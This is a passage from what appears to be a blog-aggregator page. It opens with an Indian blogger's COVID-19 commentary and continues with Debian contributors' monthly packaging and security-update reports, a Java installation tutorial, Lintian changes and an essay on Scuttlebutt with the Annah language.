given to the Home Ministry for the same.

American Capitalism and Ventilators America had been having a history of high cost healthcare as can be seen in this edition of USA today from 2017 . The Affordable Care Act was signed as a law by President Obama in 2010 which Mr. Trump curtailed when he came into power couple of years back. An estimated 80,000 people died due to seasonal flu in 2018-19 . Similarly, anywhere between 24-63,000 have supposed to have died from Last October to February-March this year. Now if the richest country can t take care of their population which is 1/3rd of the population of this country while at the same time United States has thrice the area that India has. This I am sharing as seasonal flu also strikes the elderly as well as young children more than adults. So in one senses, the vulnerable groups overlap although from some of the recent stats, for Covid-19 even those who are 20+ are also vulnerable but that s another story altogether. If you see the CDC graph of the seasonal flu it is clear that American health experts knew about it. One another common factor which joins both the seasonal flu and covid is both need ventilators for the most serious cases. So, in 2007 it was decided that the number of ventilators needed to be ramped up, they had approximately 62k ventilators at that point in time all over U.S. The U.S. in 2010, asked for bids and got bid from a small californian company called Newport Medic Instruments. The price of the ventilators was approximately INR 700000 at 2010 prices, while Newport said they would be able to mass-produce at INR 200000 at 2010 prices. The company got the order and they started designing the model which needed to be certified by FDA. By 2011, they got the product ready when a big company called Covidgen bought Newport Medic and shutdown the project. This was shared in a press release in 2012. The whole story was broken by New York Times again, just a few days ago which highlighted how America s capitalism rough shod over public health and put people s life unnecessarily in jeopardy. If those new-age ventilators would have been a reality then not just U.S. but India and many other countries would have bought the ventilators as every county has same/similar needs but are unable to pay the high cost which in many cases would be passed on to their citizens either as price of service, or by raising taxes or a mixture of both with public being none the wiser. Due to dearth of ventilators and specialized people to operate it and space, there is possibility that many countries including India may have to make tough choices like Italian doctors had to make as to who to give ventilator to and have the mental and emotional guilt which would be associated with the choices made.

Some science coverage about diseases in wire and other publications Since Covid coverage broke out, the wire has been bringing various reports of India s handling of various epidemics, mysteries, some solved, some still remaining unsolved due to lack of interest or funding or both. The Nipah virus has been amply discussed in the movie Virus (2019) which I shared in the last blog post and how easily it could have been similar to Italy in Kerala. Thankfully, only 24 people including a nurse succumbed to that outbreak as shared in the movie. I had shared about Kerala nurses professionalism when I was in hospital couple of years back. It s no wonder that their understanding of hygeine and nursing procedures are a cut above the rest hence they are sought after not just in India but world-over including US and UK and the middle-east. Another study on respitory illness was bought to my attention by my friend Pavithran.

Possibility of extended lockdown in India There was talk in the media of extended lockdown or better put an environment is being created so that an extended lockdown can be done. This is probably in part due to a mathematical model and its derivatives shared by two Indian-origin Cambridge scholars who predict that a minimum 49 days lockdown may be necessary to flatten the covid curve about a week back.

Predictions of the outcome of the current 21-day lockdown (Source: Rajesh Singh, R. Adhikari, Cambridge University)

Alternative lockdown strategies suggested by the Cambridge model (Source: Rajesh Singh, R. Adhikari, Cambridge University)

India caving to US pressure on Hydroxychloroquine While there has been lot of speculation in U.S. about Hydroxychloroquine as the wonder cure, last night Mr. Trump threatened India in a response to a reporter that Mr. Modi has to say no for Hydroxychloroquine and there may be retaliations.

As shared before if youtube is not your cup you can see the same on invidio.us https://www.invidio.us/watch?v=YP-ewgoJPLw Now while there have been several instances in the past of U.S. trying to bully India, going all the way back to 1954. In fact, in recent memory, there were sanctions on India by US under Atal Bihari Vajpayee Government (BJP) 1998 but he didn t buckle under the pressure and now we see our current PM taking down our own notification from a day ago and not just sharing Hydroxychloroquine but also Paracetemol to other countries so it would look as if India is sharing with other countries. Keep in mind, that India, Brazil haven t seen eye to eye on trade agreements of late and Paracetemol prices have risen in India. The price rise has been because the API (Active Pharmaceutical Ingredients) for the same come from China where the supply chain will take time to be fixed and we would also have to open up, although should we, should we not is another question altogether. I talk about supply chains as lean supply chains were the talk since late 90 s when the Japanese introduced Just-in-time manufacturing which lead to lean supply chains as well as lot of outsourcing as consequence. Of course, the companies saved money but at the cost of flexibility and how this model was perhaps flawed was shared by a series of articles in Economist as early as 2004 when there were lot of shocks to that model and would be exaberated since then. There have been frequent shocks to these fragile ecosystem more since 2008 after the financial meltdown and this would put more companies out of business than ever before. The MSME sector in India had already been severely impacted first by demonetization and then by the horrendous implementation of GST whose cries can be heard from all sectors. Also the frequent changing of GST taxes has made markets jumpy and investors unsure. With judgements such as retrospective taxes, AGR (Adjusted Gross Revenue) etc. it made not only the international investors scared, but also domestic investors. The flight of the capital has been noticeable. This I had shared before when Indian Government shared about LRS report which it hasn t since then. In fact Outlook Business had an interesting article about it where incidentally it talked about localcircles, a community networking platform where you get to know of lot of things and whom I am also a member of. At the very end I apologize for not sharing the blog post before but then I was feeling down but then I m not the only one.

Welcome to gambaru.de. Here is my monthly report (+ the first week in March) that covers what I have been doing for Debian. If you re interested in Java, Games and LTS topics, this might be interesting for you. Debian Games

• The games team received a lot of FTBFS bug reports due to a recent change in SDL2. (#951087) Many games that relied on the FindSDL2.cmake macro suddenly stopped building from source. Simon McVittie, who analyzed the situation, provided some helpful fixes for the problem. Ideally all affected packages and SDL2 should be fixed. I applied his patch for blockattack (#951943) and came up with similar patches for megaglest (#951959) and spring (#951974), pekka-kana-2 (#952049) was fixed by Simon and Carlos again.
• I updated clanlib, an older SDK for game development, fixed a Perl build failure and applied patches to make cross-builds and reproducible builds possible.
• I backported the latest version of Minetest, 5.1.1, to buster-backports.
• Morris was ported to GSetting by Yavor Doganov and Reiner Herrmann ported it to the signals2 boost library (well done folks!) while I was tying all things together.
• Freecol, a remake of the old Colonization received some love too. I could fix a build failure, create a valid appdata file and apply upstream s patch to address CVE-2018-1000825.
• I packaged new upstream releases of freeciv, freeorion and armagetronad.
• ufoai: I fixed a build failure caused by an upgrade to the mxml 3.x library. There is another issue with the old and soon to be removed gtksourceview2 library which the map editor relies on for some specific functions. I suppose the only way is to disable the functionality or to disable the editor alltogether. The game itself is not affected.
• I sponsored an improved version of mupen64plus-qt for Dan Hastings, an RC fix for widelands by Juhani Numminen and
• reviewed opensurge and surgescript for Carlos Donizete Froes. The former retro platformer opensurge is still missing from Debian and would be a nice addition to the games section. There is still some kind of runtime problem / shared library error and more work is required to make progress here.

Debian Java

• This month I packaged new releases of jboss-threads, jackson-databind, jackson-dataformat-xml, jackson-jr, intellij-annotations, jboss-modules and libpdfbox2-java.

Misc

• After we received new bug reports for ublock-origin, this time because of sandboxing limitations in Chromium, I decided to revert back to two different binary packages, one for Firefox and one for Chromium. This will avoid any sandboxing problems due to the previous use of symlinks. The new version 1.25.0 is currently waiting in NEW.
• Instead the update of privacybadger to version 2020.2.19 and binaryen was much more straightforward.

Debian LTS This was my 48. month as a paid contributor and I have been paid to work 10 hours on Debian LTS, a project started by Rapha l Hertzog. In that time I did the following:

• DLA-2133-1. Issued a security update for tomcat7 fixing 3 CVE.
• DLA-2138-1. Issued a security update for wpa fixing 1 CVE.
• Worked on a security update for squid3 that is not finished yet.

ELTS Extended Long Term Support (ELTS) is a project led by Freexian to further extend the lifetime of Debian releases. It is not an official Debian project but all Debian users benefit from it without cost. The current ELTS release is Debian 7 Wheezy . This was my 21. month and I have been paid to work 8 hours on ELTS.

• ELA-217-1. Issued a security update for tomcat7 fixing 1 CVE. I investigated CVE-2019-17569 and found that it did not affect the version in Wheezy because the refactoring and thus the regression happened in a later version. I worked on CVE-2020-1938, a possible remote code execution vulnerability regarding the AJP protocol. After I had backported the initial upstream patch, I discovered that more and more changes to the code were required which I found to be too intrusive eventually. Since the AJP port is disabled by default in Debian and the scenario of an untrusted user/service like mod_jk and Apache 2 seems unlikely, I opted for not making those changes.
• Created a script to display which supported source packages are embedded into other supported packages and to show the embedded code copies in supported packages. There will be another script for LTS that behaves slightly different but it will also help to highlight CVE in embedded-code-copies in LTS and Debian packages in general.

Thanks for reading and see you next time.

Welcome to gambaru.de. Here is my monthly report that covers what I have been doing for Debian. If you re interested in Java, Games and LTS topics, this might be interesting for you. Debian Games

• I packaged a new upstream version of springlobby. There is even a more recent one now but I discovered that it would fail to build from source. I reported the issue and now I am waiting for another release.
• These packages were also updated: bullet, tuxfootball (#876481), berusky (#877979), spring, hitori and trackballs.
• I released a new version of cube2-data, a DFSG-free version of the Sauerbraten game. This release was largely made possible thanks to the work of Nyav.
• I prepared two stable point releases of berusky and simutrans to fix #877979 and # 869029 for users of Debian s stable distributions too. The bug in Berusky is already resolved but I m still waiting for the confirmation to upload simutrans (#878668).
• I updated wing and biniax2. Here I discovered that biniax2 would segfault immediately at startup after recompilation. I tracked down the issue to some C code that caused undefined behavior, prepared a patch and released a fixed revision.
• I sponsored a new upstream version of mupen64plus-qt.

Debian Java

• This month I started to work on fixing Java9 bugs since Java 9 shall become the new default JDK/JRE for Buster. The bug reports were filed by Chris West who did the important work of identifying build failures and broken packages. I started with some low hanging fruits first and the following packages are now Java 9 ready: libgetopt-java, libjide-oss-java, activemq-protobuf, antelope, yecht, slashtime, colorpicker, f2j, libreadline-java, libjaxp1.3-java, jlapack, isorelax, libisrt-java, rxtx, uima-addons.
• New upstream releases this month: apktool, jboss-xnio, okio, pdfsam, libsejda-java, bcel, autocomplete, mediathekview, sweethome3d.
• MediathekView introduced yet another build-dependency. Let s welcome libokhttp-java in Debian.
• I upgraded jackson-databind to fix CVE-2017-7525. While I was at it, I continued this work with jackson-core, jackson-annotations, jackson-dataformat-xml, jackson-jr, jackson-datatype-joda, jackson-module-jaxb-annotations, jackson-dataformat-cbor, jackson-dataformat-smile, jackson-dataformat-yaml and jackson-jaxrs-providers. I also requested the removal of jackson-datatype-guava.
• More resolved RC issues: commons-io (#873118), tycho (#879250)
• Package updates: mockobjects (converted from CDBS to DH) and jblas (RC #877225, #873212, #698176)
• The Maven 2 to Maven 3 transition caused (and still causes) a lot of fallout: I investigated the following packages with RC bugs. In most cases the issue was in another package, so the bugs could be closed but there were also packages like conversant-disruptor (#869002) which caused build failures unrelated to the transition. In total 15 packages were triaged or fixed: jasypt (#871195), mustache-java (#869009), libslf4j-java, apache-log4j2, conversant-disruptor, powermock(#869017), jetty9(#869021), maven-site-plugin(#869001), javamail(#871102), assertj-core(#871131), java-allocation-instrumenter(#869251), json-smart(#868603), sisu-guice(#868611), maven-archiver(#871069), doxia-sitetools(#875948)
• I have started to work on a new upstream version of triplea, multiple strategy games written in Java. The update would fix a couple of bugs and make the package ready for Java 9.
• It was also requested to upgrade Gradle to version 3.4.1 at least. I have made good progress but there is more work to do.

Debian LTS This was my twentieth month as a paid contributor and I have been paid to work 19 hours on Debian LTS, a project started by Rapha l Hertzog. I will catch up with the remaining 1,75 hours in November. In that time I did the following:

• From 30. October to 05. November I was in charge of our LTS frontdesk. I triaged bugs in jasperreports, jbossas4, libstruts1.2-java, httpcomponents-client, vim, emacs23, trafficserver, async-http-client, liblouis, wordpress, apr, apr-utils, redis, nautilus, libpam4j and spip.
• I decided to mark jbossas4 as end-of-life because the Java application server was never fully packaged and the version in Wheezy is already nine years old. I investigated the open security issues in jasperreports and contacted upstream but they have not published any details yet.
• I pinged bug #878088. The reportbug maintainer still has to respond to the idea of informing the security teams when users report bugs in security uploads. I will discuss the possibility with the rest of the team, whether it is helpful to patch reportbug in Wheezy/Jessie/Stretch now.
• DLA-1151-1 and DLA-1160-1. Issued two security updates for WordPress addressing 10 CVE. It was later discovered that the patch for CVE-2017-14990 was incomplete and caused a regression when using WordPress multi-site feature. Single-site installations were not affected. The complete fix would either include a database upgrade or a different approach without using the new database field signup_id . I reverted the patch for now and issued a regression update in DLA-1151-2.
• DLA-1158-1. Issued a security update for bchunk fixing 3 CVE.
• DLA-1159-1. Issued a security update for graphicsmagick fixing 2 CVE.
• DLA-1164-1. Issued a security update for mupdf fixing 2 CVE.
• DLA-1165-1. Issued a security update for libpam4j fixing 1 CVE.
• DLA-1167-1. Issued a security update for ruby-yajl fixing 1 CVE.
• DLA-1157-1. I uploaded a security update for openssl. The update was prepared by Kurt Roeckx, the maintainer of openssl.

Misc

• I prepared the security updates for libpam4j (DSA-4025-1) and bchunk (DSA-4026-1) and fixed the same issues in Sid and Buster.

Thanks for reading and see you next time.

Today I spent some time in the morning seeing how one would install the JDK on Linux distributions. This is to create a little comparative tutorial to teach introductory Java. Installing the JDK is, thanks to the OpenJDK developers in Debian and Ubuntu (Matthias Klose and helpers), a very easy task. You simply type something like:

apt-get install openjdk-8-jdk

Since for a student it is better to have everything for experiments, I install the full version, not only the -headless version. Given my familiarity with Debian/Ubuntu, I didn't have to think about the way of installing it, of course. But as this is a tutorial meant to be as general as I can, I tried also to include instructions on how to install Java on other distributions. The first two that came to my mind were openSUSE and Fedora. Both use the RPM package format for their "native" packages (in the same sense that Debian uses DEB packages for "native" packages). But they use different higher-level tools to install such packages: Fedora uses a tool called dnf, while openSUSE uses zypper. To try these distributions, I got their netinstall ISOs and used qemu/kvm to install on a virtual machine. I used the following to install/run the virtual machines (the example below, is, of course, for openSUSE):

qemu-system-x86_64 -enable-kvm -m 4096 -smp 2 -net nic,model=e1000 -net user -drive index=0,media=disk,cache=unsafe,file=suse.qcow2 -cdrom openSUSE-Leap-42.3-NET-x86_64.iso

The names of the packages also change from one distribution to another. On Fedora, I had to use:

dnf install java-1.8.0-openjdk-devel

On openSUSE, I had to use:

zypper install java-1_8_0-openjdk-devel

Note that one distribution uses dots in the names of the packages while the other uses underscores. One interesting thing that I noticed with dnf was that, when I used it, it automatically refreshed the package lists from the network, something which I forgot, and it was a pleasant surprise. I don't know about zypper, but I guess that it probably had fresh indices when the installation finished. Both installations were effortless after I knew the names of the packages to install. Oh, BTW, in my 5 minute exploration with these distributions, I noticed that if you don't want the JDK, but only the JRE, then you omit the -devel suffix. It makes sense when you think about it, for consistency with other packages, but Debian's conventions also make sense (JRE with -jre suffix, JDK with -jdk suffix). I failed miserably to use Fedora's prebaked, vanilla cloud image, as I couldn't login on this image and I decided to just install the whole OS on a fresh virtual machine. I don't have instructions on how to install on Gentoo nor on Arch, though. I now see how hard it is to cover instructions/provide software for as many distributions as you wish, given the multitude of package managers, conventions etc.

Here is my monthly update covering what I have been doing in the free software world in October 2017 (previous month):

• Wrote and released python-gfshare, a Python library that implements Shamir s method for secret sharing, a cryptography technique to split a file into multiple parts. I blogged about it earlier in the month.
• Improved the new-style URL handling in the 2.x branch of the Django web framework to check for incorrectly migrated calls from the old system. [...]
• Added support for Python 3, Django 1.9 & Django 2.0 to django-auto-one-one-to-one, my library to cleanly manage related model instances.
• Proposed two small pull requests for Redisearch, a search engine module for the Redis key-value storage database:
  • Don't assume that not being Linux is OSX. [...]
  • Install the module into /usr/lib over /var/lib as the latter is for program state, not libraries or modules. [...]
• In Peter Bengtsson's new django-cache-memoize library, suggested an addition to the store_result documentation. [...]
• Made two pull requests for django-auditlog, a Django app that maintains an audit trail of changes in your application:
  • Add missing on_delete to the LogEntry initial migration to ensure compatibility with Django 2.x. [...]
  • Add missing python-dateutil to setup.py. [...]
• Yet more Lintian hacking (previously):
  • New features:
    • Warn when packages unnecessararily set dpkg-architecture(1) variables. (#793554)
    • Check for files that use content from the /etc/init.d/skeleton template. (#879152)
    • Warn about certain files under debian/* that contain trailing whitespace characters. (#748405)
    • Ignore embedded jQuery libraries for Doxygen. (#736360)
    • Warn about Django libraries that do not depend on Django itself. (#877292)
    • Check for Python modules with overly generic names such as tests or test. (#875964)
    • Warn if packages set CFLAGS if the value of DEB_BUILD_OPTIONS contains noopt. (#718640)
    • Ignore embedded jQuery libraries for Doxygen. (#736360)
    • Warn about empty fields in debian/control. (#744388)
    • Add bionic as known Ubuntu distribution. (#880115)
    • Warn if native systemd .service files only wrap the existing SysV/LSB init scripts. (#870704)
    • Emit new empty-section-field tag instead of uninitialized value warnings on an empty Section: field. (#878515)
    • Warn about debian/watch files using insecure URIs, similar to vcs-field-uses-insecure-uri. (#849515)
    • Include the offending URI in debian-watch-uses-insecure-uri output, not the line number.
    • Allow empty md5sums files. (#781372)
    • Move latest-debian-changelog-entry-without-new-date tag into a new check of type source. (#873612)
    • Add cwl-runner to the list of known interpreters. (#851126)
    • Also match packages named python2-* as relating to the Python 2.x migration.
  • Bug fixes:
    • Don't error out when AppStream metadata is invalid; emit appstream-metadata-invalid instead. (#879661)
    • Actually check for a dependency on sensible-utils before emitting script-needs-depends-on-sensible-utils. (#877439)
    • Avoid a false positives in debian-control-has-empty-field when the field is wrapped onto a new line. (#879977)
    • Drop README.source from files to check against file-contains-trailing-whitespace as it can include literal quotes from upstreams that would be ideally left intact.
    • Lower the severity of package-installs-java-bytecode from E: to W:. (#879862)
    • Do not trigger package-installs-java-bytecode if the path contains WEB-INF, demo, doc etc. (#879860)
    • Verify files triggering package-installs-java-bytecode files really are Java .class files. (#879861)
    • Check the Recommends field as well when testing scripts for script-needs-depends-on-sensible-utils. (#879953)
    • Ignore the "magic" http://sf.net/ redirector URI for the debian-watch-uses-insecure-uri tag. (#879206)
    • Revert addition of "none were" -> "none was" multiword spelling correction as it is "acceptable beyond serious criticism". (#878457)
    • Drop copyright-year-in-future; too error prone and time-consuming to maintain given the severity of the issues it can find. (#877766)
    • Exempt debian/copyright from the license-problem-non-free-RFC tag to avoid false-positives "meta" references. (#877999)
    • Ignore privacy breach violations within HTML/Javascript comments. (#877421)
    • Avoid warning for init.d-script-not-marked-as-conffile when the init.d script does not exist as we will already be alerted via the init.d-script-not-included-in-package tag.
    • Do not emit python-foo-but-no-python3-foo for packages ending with -common.
    • Add missing example-script-uses-deprecated-nodejs-location tag. (#877142)
    • Correct invalid link to upgrading-checklist in Standards-Version checks. (#878184)
  • Documentation:
    • Add a note to orig-tarball-missing-upstream-signature regarding support in pristine-tar and git-buildpackage.
    • Add example on how to remove trailing whitespace with sed.
  • Tests:
    • Split out checks for debconf-config-not-executable into a separate test protected by a Test-Requires now that dpkg 1.19.0 will bail out on that condition.
    • Correct Depends of python2.7 python3 in a Python 3 test package.
    • Add test for ignoring python-foo-doc packages for the Python 3 migration and correct short descriptions of test packages.
• Finally, I was interviewed by HostingAdvice about my role as Debian Project Leader.

---

This post has it all. Flotillas of sailboats, peer-to-peer wikis, games, and de-frogging. But, I need to start by talking about some tech you may not have heard of yet...

• Scuttlebutt is way for friends to share feeds of content-addressed messages, peer-to-peer. Most Scuttlebutt clients currently look something like facebook, but there are also github clones, chess games, etc. Many private encrypted conversations going on. All entirely decentralized.
  (My scuttlebutt feed can be viewed here)
• Annah is a purely functional, strongly typed language. Its design allows individual atoms of the language to be put in content-addressed storage, right down to data types. So the value True and a hash of the definition of what True is can both be treated the same by Annah's compiler.
  (Not to be confused with my sister, Anna, or part of the Debian Installer with the same name that I wrote long ago.)

So, how could these be combined together, and what might the result look like? Well, I could start by posting a Scuttlebutt message that defines what True is. And another Scuttlebutt message defining False. And then, another Scuttlebutt message to define the AND function, which would link to my messages for True and False. Continue this until I've built up enough Annah code to write some almost useful programs. Annah can't do any IO on its own (though it can model IO similarly to how Haskell does), so for programs to be actually useful, there needs to be Scuttlebutt client support. The way typing works in Annah, a program's type can be expressed as a Scuttlebutt link. So a Scuttlebutt client that wants to run Annah programs of a particular type can pick out programs that link to that type, and will know what type of data the program consumes and produces. Here are a few ideas of what could be built, with fairly simple client-side support for different types of Annah programs...

• Shared dashboards. Boats in a flotilla are communicating via Scuttlebutt, and want to share a map of their planned courses. Coders collaborating via Scuttlebutt want to see an overview of the state of their project. For this, the Scuttlebutt client needs a way to run a selected Annah program of type Dashboard, and display its output like a Scuttlebutt message, in a dashboard window. The dashboard message gets updated whenever other Scuttlebutt messages come in. The Annah program picks out the messages it's interested in, and generates the dashboard message. So, send a message updating your boat's position, and everyone sees it update on the map. Send a message with updated weather forecasts as they're received, and everyone can see the storm developing. Send another message updating a waypoint to avoid the storm, and steady as you go... The coders, meanwhile, probably tweak their dashboard's code every day. As they add git-ssb repos, they make the dashboard display an overview of their bugs. They get CI systems hooked in and feeding messages to Scuttlebutt, and make the dashboard go green or red. They make the dashboard A-B test itself to pick the right shade of red. And so on... The dashboard program is stored in Scuttlebutt so everyone is on the same page, and the most recent version of it posted by a team member gets used. (Just have the old version of the program notice when there's a newer version, and run that one..) (Also could be used in disaster response scenarios, where the data and visualization tools get built up on the fly in response to local needs, and are shared peer-to-peer in areas without internet.)
• Smart hyperlinks. When a hyperlink in a Scuttlebutt message points to a Annah program, optionally with some Annah data, clicking on it can run the program and display the messages that the program generates. This is the most basic way a Scuttlebutt client could support Annah programs, and it could be used for tons of stuff. A few examples:
  • Hiding spoilers. Click on the link and it'll display a spoiler about a book/movie.
  • A link to whatever I was talking about one year ago today. That opens different messages as time goes by. Put it in your Scuttlebutt profile or something. (Requires a way for Annah to get the current date, which it normally has no way of accessing.)
  • Choose your own adventure or twine style games. Click on the link and the program starts the game, displaying links to choose between, and so on.
  • Links to custom views. For example, a link could lead to a combination of messages from several different, related channels. Or could filter messages in some way.
• Collaborative filtering. Suppose I don't want to see frog-related memes in my Scuttlebutt client. I can write a Annah program that calculates a message's frogginess, and outputs a Filtered Message. It can leave a message unchanged, or filter it out, or perhaps minimize its display. I publish the Annah program on my feed, and tell my Scuttlebutt client to filter all messages through it before displaying them to me. I published the program in my Scuttlebutt feed, and so my friends can use it too. They can build other filtering functions for other stuff (such an an excess of orange in photos), and integrate my frog filter into their filter program by simply composing the two. If I like their filter, I can switch my client to using it. Or not. Filtering is thus subjective, like Scuttlebutt, and the subjectivity is expressed by picking the filter you want to use, or developing a better one.
• Wiki pages. Scuttlebutt is built on immutable append-only logs; it doesn't have editable wiki pages. But they can be built on top using Annah. A smart link to a wiki page is a reference to the Annah program that renders it. Of course being a wiki, there will be more smart links on the wiki page going to other wiki pages, and so on. The wiki page includes a smart link to edit it. The editor needs basic form support in the Scuttlebutt client; when the edited wiki page is posted, the Annah program diffs it against the previous version and generates an Edit which gets posted to the user's feed. Rendering the page is just a matter of finding the Edit messages for it from people who are allowed to edit it, and combining them. Anyone can fork a wiki page by posting an Edit to their feed. And can then post a smart link to their fork of the page. And anyone can merge other forks into their wiki page (this posts a control message that makes the Annah program implementing the wiki accept those forks' Edit messages). Or grant other users permission to edit the wiki page (another control message). Or grant other users permissions to grant other users permissions. There are lots of different ways you might want your wiki to work. No one wiki implementation, but lots of Annah programs. Others can interact with your wiki using the program you picked, or fork it and even switch the program used. Subjectivity again.
• User-defined board games. The Scuttlebutt client finds Scuttlebutt messages containing Annah programs of type Game, and generates a tab with a list of available games. The players of a particular game all experience the same game interface, because the code for it is part of their shared Scuttlebutt message pool, and the code to use gets agreed on at the start of a game. To play a game, the Scuttlebutt client runs the Annah program, which generates a description of the current contents of the game board. So, for chess, use Annah to define a ChessMove data type, and the Annah program takes the feeds of the two players, looks for messages containing a ChessMove, and builds up a description of the chess board. As well as the pieces on the game board, the game board description includes Annah functions that get called when the user moves a game piece. That generates a new ChessMove which gets recorded in the user's Scuttlebutt feed. This could support a wide variety of board games. If you don't mind the possibility that your opponent might cheat by peeking at the random seed, even games involving things like random card shuffles and dice rolls could be built. Also there can be games like Core Wars where the gamers themselves write Annah programs to run inside the game. Variants of games can be developed by modifying and reusing game programs. For example, timed chess is just the chess program with an added check on move time, and time clock display.
• Decentralized chat bots. Chat bots are all the rage (or were a few months ago, tech fads move fast), but in a decentralized system like Scuttlebutt, a bot running on a server somewhere would be a ugly point of centralization. Instead, write a Annah program for the bot. To launch the bot, publish a message in your own personal Scuttlebutt feed that contains the bot's program, and a nonce. The user's Scuttlebutt client takes care of the rest. It looks for messages with bot programs, and runs the bot's program. This generates or updates a Scuttlebutt message feed for the bot. The bot's program signs the messages in its feed using a private key that's generated by combining the user's public key, and the bot's nonce. So, the bot has one feed per user it talks to, with deterministic content, which avoids a problem with forking a Scuttlebutt feed. The bot-generated messages can be stored in the Scuttlebutt database like any other messages and replicated around. The bot appears as if it were a Scuttlebutt user. But you can have conversations with it while you're offline. (The careful reader may have noticed that deeply private messages sent to the bot can be decrypted by anyone! This bot thing is probably a bad idea really, but maybe the bot fad is over anyway. We can only hope. It's important that there be at least one bad idea in this list..)

This kind of extensibility in a peer-to-peer system is exciting! With these new systems, we can consider lessons from the world wide web and replicate some of the good parts, while avoiding the bad. Javascript has been both good and bad for the web. The extensibility is great, and yet it's a neverending security and privacy nightmare, and it ties web pages ever more tightly to programs hidden away on servers. I believe that Annah combined with Scuttlebutt will comprehensively avoid those problems. Shall we build it?

---

This exploration was sponsored by Jake Vosloo on Patreon.

Debian Long Term Support (LTS) This is my monthly Debian LTS report. This month I worked on a few major packages that took a long time instead of multiple smaller issues. Affected packages were Mercurial, libdbd-mysql-perl and Ruby.

Mercurial updates Mercurial was vulnerable to two CVEs: CVE-2017-1000116 (command injection on clients through malicious ssh URLs) and CVE-2017-1000115 (path traversal via symlink). The former is an issue that actually affects many other similar software like Git (CVE-2017-1000117), Subversion (CVE-2017-9800) and even CVS (CVE-2017-12836). The latter symlink issue is a distinct issue that came up during an internal audit. The fix, shipped as DLA-1072-1, involved a rather difficult backport, especially because the Mercurial test suite takes a long time to complete. This reminded me of the virtues of DEB_BUILD_OPTIONS=parallel=4, which sped up the builds considerably. I also discovered that the Wheezy build chain doesn't support sbuild's --source-only-changes flag which I had hardcoded in my sbuild.conf file. This seems to be simply because sbuild passes --build=source to dpkg-buildpackage, an option that is supported only in jessie or later.

libdbd-mysql-perl I have worked on fixing two issues with the libdbd-mysql-perl package, CVE-2017-10788 and CVE-2017-10789, which resulted in the DLA-1079-1 upload. Behind this mysteriously named package sits a critical piece of infrastructure, namely the mysql commandline client which is probably used and abused by hundreds if not thousands of home-made scripts, but also all of Perl's MySQL support, which is probably used by even a larger base of software. Through the Debian bug reports (Debian bug #866818 and Debian bug #866821), I have learned that the patches existed in the upstream tracker but were either ignored or even reverted in the latest 4.043 upstream release. It turns out that there are talks of forking that library because of maintainership issue. It blows my mind that such an important part of MySQL is basically unmaintained. I ended up backporting the upstream patches, which was also somewhat difficult because of the long-standing issues with SSL support in MySQL. The backport there was particularly hard to test, as you need to run that test suite by hand, twice: once with a server configured with a (valid!) SSL certificate and one without (!). I'm wondering how much time it is really worth spending on trying to fix SSL in MySQL, however. It has been badly broken forever, and while the patch is an improvement, I would actually still never trust SSL transports in MySQL over an untrusted network. The few people that I know use such transports wrap their connections around a simpler stunnel instead. The other issue was easier to fix so I submitted a pull request upstream to make sure that work isn't lost, although it is not clear what the future of that patch (or project!) will be at this point.

Rubygems I also worked on the rubygems issues, which, thanks to the "vendoring" practice of the Ruby community, also affects the ruby1.9 package. 4 distinct CVEs were triaged here (CVE-2017-0899, CVE-2017-0900, CVE-2017-0901 and CVE-2017-0902) and I determined the latter issue didn't affect wheezy as rubygems doesn't do its own DNS resolution there (later versions lookup SRV records). This is another package where the test suite takes a long time to run. Worse, the packages in Wheezy actually fails to build from source: the test suites just fail in various steps, particularly because of dh key too small errors for Rubygems, but also other errors for Ruby. I also had trouble backporting one test which I had to simply skip for Rubygems. I uploaded and announced test packages and hopefully I'll be able to complete this work soon, although I would certainly appreciate any help on this...

Triage I took a look at the sox, libvorbis and exiv2 issues. None had fixes available. sox and exiv2 were basically a list of fuzzing issues, which are often minor or at least of unknown severity. Those would have required a significant amount of work and I figured I would prioritize other work first. I also triaged CVE-2017-7506, which doesn't seem to affect the spice package in wheezy, after doing a fairly thorough audit of the code. The vulnerability is specifically bound to the reds_on_main_agent_monitors_config function, which is simply not present in our older version. A hostile message would fall through the code and not provoke memory allocation or out of bounds access, so I simply marked the wheezy version as not-affected, something which usually happens during the original triage but can also happen during the actual patching work, as in this case.

Other free software work This describes the volunteer work I do on various free software projects. This month, again, my internal reports show that I spent about the same time on volunteer and paid time, but this is probably a wrong estimate because I spent a lot of time at Debconf which I didn't clock in...

Debconf So I participated in the 17th Debian Conference in Montreal. It was great to see (and make!) so many friends from all over the world in person again, and I was happy to work on specific issues together with other Debian developers. I am especially thankful to David Bremner for fixing the syncing of the flagged tag when added to new messages (patch series). This allows me to easily sync the one tag (inbox) that is not statically assigned during notmuch new, by using flagged as a synchronization tool. This allows me to use notmuch more easily across multiple machines without having to sync all tags with dump/restore or using muchsync which wasn't working for me (although a new release came out which may fix my issues). The magic incantation looks something like this:

notmuch tag -inbox tag:inbox and not tag:flagged
notmuch tag +inbox not tag:inbox and tag:flagged

However, most of my time in the first week (Debcamp) was spent trying to complete the networking setup: configure switches, setup wiring and so on. I also configured an apt-cacher-ng proxy to serve packages to attendees during the conference. I configured it with Avahi to configure clients automatically, which led me to discover (and fix) issue Debian bug #870321) although there are more issues with the autodiscovery mechanism... I spent extra time to document the (somewhat simple) configuration of such a server in the Debian wiki because it was not the first time I had research that procedure... I somehow thought this was a great time to upgrade my laptop to stretch. Normally, I keep that device running stable because I don't use it often and I don't want to have major traumatizing upgrades every time I leave with it on a trip. But this time was special: there were literally hundreds of Debian developers to help me out if there was trouble. And there was, of course, trouble as it turns out! I had problems with the fonts on my display, because, well, I had suspended (twice) my laptop during the install. The fix was simply to flush the fontconfig cache, and I tried to document this in the fonts wiki page and my upgrades page. I also gave a short training called Debian packaging 101 which was pretty successful. Like the short presentation I made at the last Montreal BSP, the workshop was based on my quick debian development guide. I'm thinking of expanding this to a larger audience with a "102" course that would discuss more complex packaging problems. But my secret plan (well, secret until now I guess) is to make packaging procedures more uniform in Debian by training new Debian packagers using that same training for the next 2 decades. But I will probably start by just trying to do this again at the next Debconf, if I can attend.

Debian uploads I also sponsored two packages during Debconf: one was a "scratch an itch" upload (elpa-ivy) which I requested (Debian bug #863216) as part of a larger effort to ship the Emacs elisp packages as Debian packages. The other was an upload of diceware to build the documentation in a separate package and fix other issues I have found in the package during a review. I also uploaded a bunch of other fixes to the Debian archive:

• slop upstream update and matching maim NMU
• asked for gnome-web-photo removal (Debian bug #873015)
• charybdis 3.5.5-2 to officially switch to mbedtls (Debian bug #705369)
• gmpc: ship pending patches from git and Ubuntu
• horst: new upstream release and workaround for sparse bug Debian bug #873508
• uploaded percol to NEW (Debian bug #754972)

